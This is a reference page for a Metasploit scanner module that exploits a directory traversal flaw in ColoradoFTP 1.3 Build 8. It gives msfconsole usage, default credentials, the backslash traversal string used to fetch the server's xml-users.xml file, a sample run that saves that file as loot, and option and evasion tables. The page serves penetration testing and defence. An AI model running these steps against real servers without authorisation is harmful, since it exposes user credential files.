ColoradoFTP Server 1.3 Build 8 Directory Traversal Information Disclosure - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/ftp/colorado_ftp_traversal metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: ColoradoFTP Server 1.3 Build 8 Directory Traversal Information Disclosure
Module: auxiliary/scanner/ftp/colorado_ftp_traversal
Source code: modules/auxiliary/scanner/ftp/colorado_ftp_traversal.rb
Disclosure date: 2016-08-11
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: ftp
Target network port(s): 21, 2121
List of CVEs: -

This module exploits a directory traversal vulnerability found in ColoradoFTP server version <= 1.3 Build 8. This vulnerability allows an attacker to download and upload arbitrary files from the server GET/PUT command including file system traversal strings starting with '\'. The server is written in Java and therefore platform independent, however this vulnerability is only exploitable on the Windows version.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/ftp/colorado_ftp_traversal
msf auxiliary(colorado_ftp_traversal) > show options
    ... show and set options ...
msf auxiliary(colorado_ftp_traversal) > set RHOSTS ip-range
msf auxiliary(colorado_ftp_traversal) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(colorado_ftp_traversal) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(colorado_ftp_traversal) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(colorado_ftp_traversal) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Notes


While the application is based in java, I was only able to get it to exploit against Windows based targets.

Vulnerable Application


official site or github backup

When installing, you must edit conf/beans.xml line 183 "remoteIp" to put in your IP or else pasv won't work.

Verification Steps


  1. Install the application
  2. Start msfconsole
  3. Do: use auxiliary/scanner/ftp/colorado_ftp_traversal
  4. Do: set rhosts <ip>
  5. Do: run
  6. You should get the xml-users.xml file

Options


FTPUSER

Default user for Colorado FTP is ftpuser

FTPPASS

Default password for Colorado FTP is ftpuser123

DEPTH

Default depth of ../ to do is 2 to get back to the root of Colorado FTP. This can run anywhere, so you may have to play a bit to find the root.

Scenarios


A run to obtain the user file (default in this case)

msf > use auxiliary/scanner/ftp/colorado_ftp_traversal
msf auxiliary(colorado_ftp_traversal) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf auxiliary(colorado_ftp_traversal) > set verbose true
verbose => true
msf auxiliary(colorado_ftp_traversal) > exploit

[*] 1.1.1.1:21      - Connecting to FTP server 1.1.1.1:21...
[*] 1.1.1.1:21      - Connected to target FTP server.
[*] 1.1.1.1:21      - Authenticating as ftpuser with password ftpuser123...
[*] 1.1.1.1:21      - Sending password...
[*] 1.1.1.1:21      - \\\..\..\conf\xml-users.xml
[*] 1.1.1.1:21      - 150 Opening A mode data connection for \\\..\..\conf\xml-users.xml.

[*] 1.1.1.1:21      - Data returned:



  


[+] 1.1.1.1:21      - Stored conf\xml-users.xml to /root/.msf4/loot/20160918184409_default_1.1.1.1_coloradoftp.ftp._168381.xml
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Go back to menu.

Msfconsole Usage


Here is how the scanner/ftp/colorado_ftp_traversal auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/ftp/colorado_ftp_traversal

msf6 auxiliary(scanner/ftp/colorado_ftp_traversal) > show info

       Name: ColoradoFTP Server 1.3 Build 8 Directory Traversal Information Disclosure
     Module: auxiliary/scanner/ftp/colorado_ftp_traversal
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2016-08-11

Provided by:
  h00die <[email protected]>
  RvLaboratory

Check supported:
  Yes

Basic options:
  Name     Current Setting     Required  Description
  ----     ---------------     --------  -----------
  DEPTH    2                   yes       Traversal Depth (to reach the root folder)
  FTPPASS  ftpuser123          yes       Password to use for login
  FTPUSER  ftpuser             yes       Username to use for login
  PATH     conf\xml-users.xml  yes       Path to the file to disclose, relative to the root dir.
  RHOSTS                       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT    21                  yes       The target port (TCP)
  THREADS  1                   yes       The number of concurrent threads (max one per host)

Description:
  This module exploits a directory traversal vulnerability found in 
  ColoradoFTP server version <= 1.3 Build 8. This vulnerability allows 
  an attacker to download and upload arbitrary files from the server 
  GET/PUT command including file system traversal strings starting 
  with '\\'. The server is written in Java and therefore platform 
  independent, however this vulnerability is only exploitable on the 
  Windows version.

References:
  https://www.exploit-db.com/exploits/40231
  https://bitbucket.org/nolife/coloradoftp/commits/16a60c4a74ef477cd8c16ca82442eaab2fbe8c86
  http://www.securityfocus.com/archive/1/539186

Module Options


This is a complete list of options available in the scanner/ftp/colorado_ftp_traversal auxiliary module:

msf6 auxiliary(scanner/ftp/colorado_ftp_traversal) > show options

Module options (auxiliary/scanner/ftp/colorado_ftp_traversal):

   Name     Current Setting     Required  Description
   ----     ---------------     --------  -----------
   DEPTH    2                   yes       Traversal Depth (to reach the root folder)
   FTPPASS  ftpuser123          yes       Password to use for login
   FTPUSER  ftpuser             yes       Username to use for login
   PATH     conf\xml-users.xml  yes       Path to the file to disclose, relative to the root dir.
   RHOSTS                       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    21                  yes       The target port (TCP)
   THREADS  1                   yes       The number of concurrent threads (max one per host)

Advanced Options


Here is a complete list of advanced options supported by the scanner/ftp/colorado_ftp_traversal auxiliary module:

msf6 auxiliary(scanner/ftp/colorado_ftp_traversal) > show advanced

Module advanced options (auxiliary/scanner/ftp/colorado_ftp_traversal):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   CHOST                                 no        The local client address
   CPORT                                 no        The local client port
   ConnectTimeout       10               yes       Maximum number of seconds to establish a TCP connection
   FTPDEBUG             false            no        Whether or not to print verbose debug statements
   FTPTimeout           16               yes       The number of seconds to wait for a reply from an FTP command
   PassiveMode          false            no        Set true for extended passive (EPSV) ftp mode.
   Proxies                               no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL                  false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                             no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode        PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion           Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress         true             yes       Display progress messages during a scan
   ShowProgressPercent  10               yes       The interval in percent that progress should be shown
   VERBOSE              false            no        Enable detailed status messages
   WORKSPACE                             no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/ftp/colorado_ftp_traversal module can do:

msf6 auxiliary(scanner/ftp/colorado_ftp_traversal) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the scanner/ftp/colorado_ftp_traversal auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/ftp/colorado_ftp_traversal) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<FILE> not found or invalid login


Here is a relevant code snippet related to the "<FILE> not found or invalid login" error message:

68:	      res = send_cmd_data( ['get', retr_cmd], '')
69:	      unless res.nil?
70:	        print_status(res[0])
71:	        response_data = res[1]
72:	      else
73:	        print_error("#{file} not found or invalid login")
74:	        return
75:	      end
76:	
77:	      if response_data.length == 0
78:	        print_status("File (#{file_path})from #{peer} is empty...")

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


Version


This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.